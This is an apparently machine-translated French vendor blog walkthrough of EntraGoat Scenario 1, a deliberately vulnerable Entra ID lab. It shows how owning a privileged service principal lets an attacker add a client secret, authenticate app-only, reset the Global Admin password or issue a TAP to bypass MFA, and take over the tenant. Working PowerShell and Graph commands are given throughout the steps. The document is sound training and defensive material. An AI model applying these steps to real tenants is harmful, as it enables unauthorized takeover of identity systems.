- Scénario 1 : mal acquis et dangereux
- Vue d'ensemble du chemin d'attaque
- Flux d'attaque
- Pourquoi est-il important de comprendre la propriété de l'application ?
- Comment détecter et se défendre contre l'utilisation abusive de la propriété d'un principal de service ?
- Présentation de la solution étape par étape
- Étape 1 : Prise d'ancrage initiale
- Étape 2 : Dénombrement
- Étape 3 : Pivoter dans le contexte du principal responsable du service
- Étape 4 : Prise en charge du compte - connexion en tant qu'administrateur global
- Connaître son maillon faible
- Relevez le prochain défi d'EntraGoat
- Note de bas de page
- Clause de non-responsabilité
Note de la rédaction
Ce scénario fait partie d'une série d'exemples démontrant l'utilisation d'EntraGoat, notre environnement de simulation Entra ID. EntraGoat, notre environnement de simulation Entra ID. Vous pouvez lire un aperçu d'EntraGoat et de sa valeur ici.
Mal acquis et dangereux : Manuel du propriétaire pour l'administration mondiale
Nous commençons nos exemples d'utilisation d'EntraGoat avec le scénario 1, que nous avons nommé Misowned and Dangerous : Un manuel du propriétaire pour Global Admin. Cet exercice pratique montre comment la propriété légitime d'une application dans Microsoft Entra ID peut être utilisée pour escalader les privilèges et compromettre un compte d'administrateur global, permettant ainsi une prise de contrôle complète du locataire.
À partir d'un compte d'utilisateur à faible privilège compromis, l'attaquant découvre qu'il est propriétaire d'une application d'entreprise (service principal) à laquelle est attribué un rôle privilégié.
En ajoutant un secret client au principal du service, l'attaquant pivote dans l'identité de l'application, puis utilise son rôle pour réinitialiser le mot de passe de l'administrateur et délivrer un laissez-passer temporaire (TAP) pour obtenir un accès interactif complet au portail Azure.
Ce scénario met l'accent sur les conséquences réelles d'une mauvaise gestion des applications et illustre la différence de comportement, les limites d'accès et l'exposition au risque entre les flux d'authentification délégués et les flux d'authentification propres à l'application.
Vue d'ensemble du chemin d'attaque
- L'histoire d'une première prise de pied : L'attaquant s'authentifie en tant qu'utilisateur financier compromis (
david.martinez
) avec des informations d'identification volées. - Enumération : En utilisant les cmdlets PowerShell et Microsoft Graph, l'attaquant découvre que l'utilisateur possède un principal de service nommé
Finance Analytics Dashboard
qui se voit attribuer lePrivileged Authentication Administrator
rôle. - Augmentation des privilèges : L'attaquant ajoute un secret client au principal de service détenu et s'authentifie à l'aide d'informations d'identification propres à l'application, ce qui lui permet d'accéder à l'identité d'un principal de service.
- Prise de contrôle du compte : À partir du contexte de l'application seule avec le rôle privilégié, l'attaquant réinitialise le mot de passe de l'administrateur global ou ajoute un TAP pour contourner l'authentification multifactorielle (MFA), puis se connecte interactivement et récupère le drapeau, confirmant ainsi la compromission totale du locataire.
Flux d'attaque
La figure 1 illustre le déroulement de cette attaque.
Pourquoi est-il important de comprendre la propriété de l'application ?
Chaque application d'Entra ID possède deux identités distinctes :
- Enregistrement de l'application, un objet de définition global dans le locataire d'origine où l'application a été créée à l'origine. Cet objet contient les autorisations blueprint-OAuth2 de l'application (scopes) que l'application peut demander, les URI de redirection pour les flux de connexion, les métadonnées de marque et d'éditeur, et plus encore. Cette identité ne représente pas en soi un principal de sécurité actif dans le locataire.
- Principal de service, une instance locale de l'application dans le locataire qui agit comme son identité de sécurité et applique le contrôle d'accès. Un principal de service est automatiquement créé lorsqu'un utilisateur du locataire enregistre une nouvelle application, donne son consentement à une application externe, etc. L'identité du principal de service est ce qu'Entra ID utilise pour assigner des rôles, appliquer des politiques et faire respecter les permissions. C'est aussi l'identité authentifiée lorsque l'application agit seule (contexte d'application seulement).
La propriété des applications est une fonction administrative légitime. Cette conception prend en charge l'administration décentralisée au sein des grandes organisations, permettant aux équipes de gérer leurs propres applications d'entreprise. Elle permet aux développeurs, aux processus d'automatisation et aux propriétaires de services de gérer le cycle de vie et la configuration de leurs applications. Toutefois, cette fonctionnalité devient un handicap lorsque
- Les applications se voient attribuer des rôles privilégiés
- La propriété est attribuée à des utilisateurs réguliers sans gouvernance
- L'hygiène des justificatifs est faible ou non contrôlée
Des principes de service mal gouvernés permettent l'ajout d'informations d'identification et l'accès aux applications uniquement, en contournant les contrôles d'identité tels que l'AMF et l'accès conditionnel.
Cette présentation explique pourquoi les attaquants privilégient les mouvements latéraux en utilisant des principes de service dans les environnements modernes de cloud computing et pourquoi les défenseurs doivent comprendre la différence entre les contextes de sécurité délégués et les contextes de sécurité propres à l'application.
Comment détecter et se défendre contre l'utilisation abusive de la propriété d'un principal de service ?
Comprendre et surveiller la propriété des applications n'est pas optionnel ; il s'agit d'un contrôle de sécurité fondamental dans tout environnement Entra ID. La propriété de l'application permet de gérer les informations d'identification, de configurer les autorisations et de contrôler efficacement l'identité de l'application. Sans visibilité sur la propriété de l'application et l'attribution des permissions, les voies d'escalade des privilèges restent cachées aux défenseurs et aux auditeurs.
Les défenseurs doivent surveiller et établir des corrélations :
- Quelles sont les applications présentes dans le locataire ?
- Qui les possède ?
- Quelles sont les autorisations ou les rôles qui leur sont attribués ?
- Des utilisateurs non privilégiés possèdent-ils des mandants de service avec un accès élevé ?
- Quelles sont les applications qui ne sont plus utilisées et qui peuvent être mises hors service ?
Les solutions Semperis permettent de combler les lacunes dans la compréhension de ces questions grâce à plusieurs niveaux de défense, à commencer par les indicateurs d'exposition (IOE) et les indicateurs de compromission (IOC).
Ces indicateurs détectent et alertent automatiquement sur les défauts dangereux et les mauvaises configurations, tels que les politiques d'autorisation trop permissives pour la configuration des applications, les principes de service privilégiés détenus par des non-administrateurs, et les lignes de base de sécurité des applications faibles.
Approfondissement du scénario : Présentation de la solution étape par étape
Examinons les étapes spécifiques à suivre pour simuler une utilisation abusive de la propriété d'une application et comprendre dans quelles conditions elle permet la compromission de l'administrateur global.
Étape 1 : Prise d'ancrage initiale
Nous commençons par le contexte de sécurité d'un analyste financier, david.martinez
(Figure 2) qui a saisi ses identifiants d'entreprise lors d'une campagne de phishing.
L'utilisation de la Connect-MgGraph
cmdlet, nous nous authentifions en tant qu'utilisateur compromis (Figure 3).
Pour comprendre nos capacités actuelles, nous commençons par inspecter le contexte de sécurité de la session authentifiée(figure 4).
Une méthode alternative et bien connue pour s'authentifier en tant qu'utilisateur Entra ID et obtenir un jeton d'accès JWT est d'utiliser des outils d'automatisation tels que BARK1. L'extrait PowerShell suivant démontre comment acquérir et utiliser un jeton d'accès via l'authentification par nom d'utilisateur/mot de passe à partir de la CLI :
$userToken = Get-MSGraphTokenWithUsernamePassword -Username $UPN -Password $password -TenantID $tenantId $userAccessToken = $userToken.access_token $SecureToken = ConvertTo-SecureString $userAccessToken -AsPlainText -Force Connect-MgGraph -AccessToken $SecureToken
BARK comprend également une fonctionnalité permettant de décoder le JWT résultant, exposant des métadonnées de session détaillées telles que les autorisations déléguées (scp
), les rôles de l'annuaire (wids
), la méthode d'authentification (amr
), et les informations sur les clients (app_displayname
), comme Figure 5 montre.
Cette étape de décodage est particulièrement utile pour le triage rapide des privilèges. Par exemple, si le jeton a été délivré à un utilisateur ayant des rôles dans l'annuaire, la fonction wids
énumérerait directement les GUID des rôles attribués, tels que le rôle d'administrateur global qui a été attribué à l'entreprise. Figure 6 sans qu'il soit nécessaire de procéder à une énumération supplémentaire de l'API graphique.
Cependant, ce guide évite de s'appuyer sur des outils ou des abstractions tiers. Toutes les étapes d'énumération et d'exploitation sont exécutées à l'aide de PowerShell natif et d'appels directs à l'API Graph afin de garantir que chaque phase de l'attaque est entièrement transparente et expliquée sur le plan technique.
NOTE : Par défaut, tous les utilisateurs authentifiés dans Entra ID peuvent interroger les données de base du profil d'autres utilisateurs, et des attributs tels que extensionAttribute1–15
ne sont pas classés comme sensibles. Par conséquent, l'indicateur stocké dans le profil de l'administrateur peut techniquement être récupéré immédiatement avec la requête API suivante :
$uri = "https://graph.microsoft.com/v1.0/users/EntraGoat-admin-s1@334brf.onmicrosoft.com?`$select=onPremisesExtensionAttributes" $response = Invoke-MgGraphRequest -Uri $uri -Method GET $response.onPremisesExtensionAttributes.extensionAttribute1
Ce comportement est intentionnel. Le but d'EntraGoat n'est pas de cacher le drapeau mais d'enseigner des techniques réalistes d'escalade de privilèges dans les environnements Entra ID. Il est possible de récupérer le drapeau via un appel API direct, mais l'objectif réel est d'escalader les privilèges, d'accéder au portail Azure en tant qu'utilisateur administrateur, et de voir le drapeau dans leur interface utilisateur - démontrant ainsi le contrôle total sur une identité d'administrateur global. Le drapeau est un artefact gamifié, pas l'objectif principal.
Invoke-MgGraphRequest -Uri 'https://graph.microsoft.com/v1.0/me?$select=id,userPrincipalName,onPremisesExtensionAttributes' | Select-Object @{n='UPN';e={$_.userPrincipalName}}, @{n='Id';e={$_.id}}, @{n='Flag';e={$_.onPremisesExtensionAttributes.extensionAttribute1}}
Étape 2 : Dénombrement
Comme il s'agit du premier scénario de la série EntraGoat, nous passerons en revue le processus d'énumération et mettrons en évidence les techniques fondamentales d'escalade des privilèges. Dans nos autres scénarios, nous partirons de cette base et nous nous concentrerons directement sur le chemin d'attaque principal, en sautant les étapes de reconnaissance de type CTF.
Avec un accès initial à david.martinez
En cas d'attaque, nous commençons à chercher des moyens d'escalade des privilèges. Notre première tâche consiste à comprendre quels sont les accès dont dispose l'identité compromise.
Nous commençons par vérifier si l'utilisateur s'est vu attribuer des rôles dans l'annuaire(figure 7).
Les Get-MgRoleManagementDirectoryRoleAssignment
La cmdlet ne révèle aucun rôle privilégié, ce qui confirme que l'option david.martinez
n'a pas d'accès élevé par défaut. Ensuite, nous examinons l'appartenance à un groupe (Figure 8).
L'utilisateur fait seulement partie du groupe de locataires par défaut, auquel chaque utilisateur d'Entra ID est assigné pour les services de collaboration comme SharePoint ou Teams. Pas de chemin d'escalade des privilèges ici non plus.
Nous vérifions également si david.martinez
ne possède aucun groupe, puisque les propriétaires de groupes peuvent s'ajouter comme membres et hériter des privilèges du groupe (tels que les rôles attribués). Cette vérification renvoie également un résultat vide (Figure 9).
Toutefois, la recherche de la propriété du principal responsable du service donne un seul résultat(figure 10).
david.martinez
possède le principal du service Finance Analytics Dashboard
. Ceci est important car les propriétaires des principaux services peuvent gérer les informations d'identification, y compris l'ajout de nouveaux secrets pour s'authentifier en tant que principal service.
Vérifions si le Finance Analytics Dashboard
a des permissions assignées (Figure 11).
Aucun n'est configuré. Ensuite, nous vérifions si des rôles d'annuaire lui ont été attribués(figure 12).
Nous voyons une attribution de rôle, mais elle n'est représentée que par un GUID. Chaque rôle intégré à Entra ID est représenté par un GUID, qui est global et identique dans tous les locataires d'Entra ID. Vous pouvez voir tous les rôles intégrés officiels et leurs GUIDs ici.
Pour transformer le GUID en un nom de rôle lisible par l'homme, nous pouvons utiliser la sortie de la commande Get-MgRoleManagementDirectoryRoleAssignment
à Get-MgRoleManagementDirectoryRoleDefinition
(Figure 13), qui traduira chaque identifiant de rôle attribué en son nom d'affichage correspondant.
Privileged Authentication Administrator
est un rôle très sensible dans Entra ID. Il permet à son détenteur de gérer les méthodes d'authentification pour tous les utilisateurs, y compris la réinitialisation des paramètres MFA, la configuration de FIDO2 et des options d'ouverture de session sans mot de passe, et la modification des politiques clés qui régissent la façon dont les utilisateurs s'authentifient. C'est pourquoi un pirate, agissant en tant que propriétaire, voudrait certainement y ajouter un secret client et l'utiliser pour influencer le compte Global Administrator.
NOTE : Si vous avez suivi de près la phase d'énumération, vous avez probablement remarqué la verbosité et l'effort manuel requis lors de l'utilisation des cmdlets natifs de Microsoft Graph. (Et si nous possédions 5[0] applications Entra au lieu d'une ?) Il s'agit de l'une des principales limites de l'utilisation exclusive d'outils natifs. Les commandes renvoient souvent des données de bas niveau (telles que les GUID) qui nécessitent des requêtes supplémentaires pour les transformer en informations significatives.
C'est précisément la raison pour laquelle de nombreux cadres d'énumération automatisent ces processus. Ils font abstraction des requêtes répétitives et rationalisent les résultats, ce qui permet d'accélérer l'analyse des privilèges et la prise de décision. Par exemple, pour améliorer la convivialité, nous pouvons écrire des fonctions d'enveloppe simples telles que Find-OwnedServicePrincipals
et Get-ServicePrincipalRoles
qui sont conçus pour automatiser la découverte de la propriété des PS et résoudre plus efficacement les attributions de rôles dans les répertoires :
function Find-OwnedServicePrincipals { param([string]$UserId) # Get all service principals in tenant $allSPs = Get-MgServicePrincipal -All Write-Host "Found $($allSPs.Count) service principals in tenant" $ownedSPs = @() $checkCount = 0 # Check ownership of each service principal foreach ($sp in $allSPs) { $checkCount++ if ($checkCount % 50 -eq 0) { Write-Host "Checked $checkCount/$($allSPs.Count) service principals..." } try { $owners = Get-MgServicePrincipalOwner -ServicePrincipalId $sp.Id -ErrorAction SilentlyContinue if ($owners) { foreach ($owner in $owners) { if ($owner.Id -eq $UserId) { $ownedSPs += $sp Write-Host "OWNED SERVICE PRINCIPAL FOUND!" -ForegroundColor Red Write-Host " Name: $($sp.DisplayName)" -ForegroundColor Yellow Write-Host " SP ID: $($sp.Id)" -ForegroundColor Yellow Write-Host " App ID: $($sp.AppId)" -ForegroundColor Yellow break } } } } catch { continue } } return $ownedSPs } function Get-ServicePrincipalRoles { param([object]$ServicePrincipal) Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)" # Check directory role assignments for the SP $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue $roles = @() if ($roleAssignments) { foreach ($assignment in $roleAssignments) { $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId $roles += $roleDefinition Write-Host " Role: $($roleDefinition.DisplayName)" -ForegroundColor Cyan } } else { Write-Host " No directory roles assigned" } return $roles }
Maintenant, pour découvrir tous les principaux services appartenant à l'utilisateur compromis et énumérer les rôles qui leur sont attribués, il suffit d'exécuter la commande Find-OwnedService Principals
, comme Figure 14 montre.
Étape 3 : Pivoter dans le contexte du principal responsable du service
Cette étape met en évidence la raison principale pour laquelle nous avons créé ce scénario et l'avons positionné en premier dans la série : Les principaux services façonnent le paysage de l'escalade des privilèges dans Entra ID. Le mouvement latéral dans le contexte de sécurité d'un service principal et son exploitation pour effectuer des opérations privilégiées est une technique fondamentale que tout défenseur, attaquant et chercheur travaillant avec Entra ID devrait connaître.
Ajoutons un secret client à l'élément Finance Analytics Dashboard
pour établir un accès dérobé et s'authentifier en tant que prestataire de services :
$secretDescription = "EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')" $passwordCredential = @{ DisplayName = $secretDescription EndDateTime = (Get-Date).AddYears(1) } $newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $SP.Id -PasswordCredential $passwordCredential # Sauvegarder les détails du secret ajouté $clientSecret = $newSecret.SecretText
Ensuite, déconnectez la session de l'utilisateur actuel avec Disconnect-MgGraph
, construire les informations d'identification du client et s'authentifier à l'aide de l'identité du principal du service par le biais de l'option Connect-MgGraph
:
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $SP.AppId, $secureSecret Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
Et en effet, nous sommes maintenant authentifiés comme la Finance Analytics Dashboard
directeur de service (Figure 15).
Les Get-MgContext
révèle des informations sur le mode d'authentification de la session Microsoft Graph en cours, qui détermine directement le contexte de sécurité, le niveau d'accès et le modèle de permission appliqués. Concentrons-nous sur les champs AuthType
et TokenCredentialType
car ils exposent la sémantique centrale de l'identité dans Entra ID.
Après s'être authentifié en tant que david.martinez
Ces valeurs apparaissent comme suit :
AuthType : Délégué TokenCredentialType : Navigateur interactif
Il s'agit d'une session déléguée, où le jeton émis représente l'identité de l'utilisateur. L'accès est régi par les rôles attribués à l'utilisateur et les autorisations déléguées, et toutes les opérations sont effectuées au nom de l'utilisateur. Le contexte de la session est limité à ce à quoi l'identité de l'utilisateur a accès, car il hérite des politiques d'accès conditionnel, de l'application de l'AMF et des contraintes PIM.
En revanche, un contexte d'application uniquement, tel qu'un contexte initié par un service principal à l'aide des informations d'identification du client (AppId
+ Secret
+ TenantId
) fonctionne comme une identité non humaine. Tout client (script, tâche d'arrière-plan, démon) utilisant ces informations d'identification peut s'authentifier en tant qu'application et invoquer les API Microsoft Graph en fonction de ses autorisations d'application, quel que soit le contexte de l'utilisateur. Les politiques d'accès conditionnel, MFA et PIM ne sont pas applicables ou appliquées dans ce flux.
Cette distinction est fondamentale dans la conception de la sécurité de l'identité et explique pourquoi le comportement de l'API, les portées d'accès et les privilèges des jetons diffèrent pour les mêmes cmdlets, en fonction du contexte de la session.
Comme on pouvait s'y attendre, cette distinction a un impact important sur la surface d'attaque et le potentiel d'abus. Les flux délégués sont limités par le contexte de l'utilisateur, tandis que les flux d'applications fonctionnent avec une confiance au niveau du service et souvent avec des limites de privilèges plus larges et moins contrôlées. Pour les attaquants, la compromission d'un secret ou d'un certificat d'application se traduit souvent par un accès persistant à des privilèges élevés qui contourne les mécanismes d'application centrés sur l'identité.
Étape 4 : Prise en charge du compte - connexion en tant qu'administrateur global
Maintenant que nous nous sommes authentifiés en tant qu'identité avec la fonction Privileged Authentication Administrator
nous avons la possibilité de réinitialiser les mots de passe (Figure 16) pour tout utilisateur du locataire, y compris l'administrateur global.
Avec ce niveau d'accès, nous pouvons également assigner un TAP(Figure 17) comme méthode d'authentification, ce qui nous permet de contourner le MFA et de nous connecter directement au portail Azure :
Ensuite, nous nous connectons avec le TAP(Figure 18).
Nous récupérons ensuite le drapeau du scénario(figure 19).
Une fois le scénario terminé, nous exécutons le script de nettoyage pour restaurer le locataire EntraGoat à son état d'origine(Figure 20).
Connaître son maillon faible
Ce scénario montre comment des configurations apparemment légitimes et courantes, telles que l'attribution de la propriété d'une application à un utilisateur standard, peuvent ouvrir la porte à une compromission totale du locataire lorsqu'elles sont associées à des rôles privilégiés.
En s'appuyant sur la propriété d'un principal de service, les attaquants peuvent escalader les privilèges, contourner les défenses centrées sur l'utilisateur telles que le MFA et l'accès conditionnel, et finalement obtenir un accès administrateur global par le biais d'un flux d'application uniquement.
Cet exercice souligne l'importance cruciale d'une gouvernance solide en ce qui concerne les autorisations d'application, la propriété du principal de service et l'attribution des rôles. Dans les environnements cloud modernes, les principaux services sont souvent le maillon faible, et il est essentiel pour les attaquants comme pour les défenseurs de comprendre leur modèle d'identité double, leurs limites d'accès et leur potentiel d'abus.
Le scénario 1 d'EntraGoat jette les bases d'une exploration plus poussée et de nos prochains scénarios. Alors, continuez à pirater !
Relevez le prochain défi d'EntraGoat
- GitHub - Semperis/EntraGoat
- Qu'est-ce qu'EntraGoat ? Un environnement de simulation Entra ID délibérément vulnérable
- Démarrer avec EntraGoat : casser l'ID d'Entra de manière intelligente
- Scénario 2 : Exploitation des permissions de graphes réservées aux applications dans Entra ID
Note de bas de page
- https://github.com/BloodHoundAD/BARK
Clause de non-responsabilité
Ce contenu est fourni à des fins éducatives et informatives uniquement. Il vise à promouvoir la prise de conscience et la remédiation responsable des vulnérabilités de sécurité qui peuvent exister sur les systèmes que vous possédez ou que vous êtes autorisé à tester. L'utilisation non autorisée de ces informations à des fins malveillantes, d'exploitation ou d'accès illégal est strictement interdite. Semperis n'approuve ni ne tolère aucune activité illégale et décline toute responsabilité découlant d'une mauvaise utilisation du matériel. En outre, la Semperis ne garantit pas l'exactitude ou l'exhaustivité du contenu et n'assume aucune responsabilité pour les dommages résultant de son utilisation.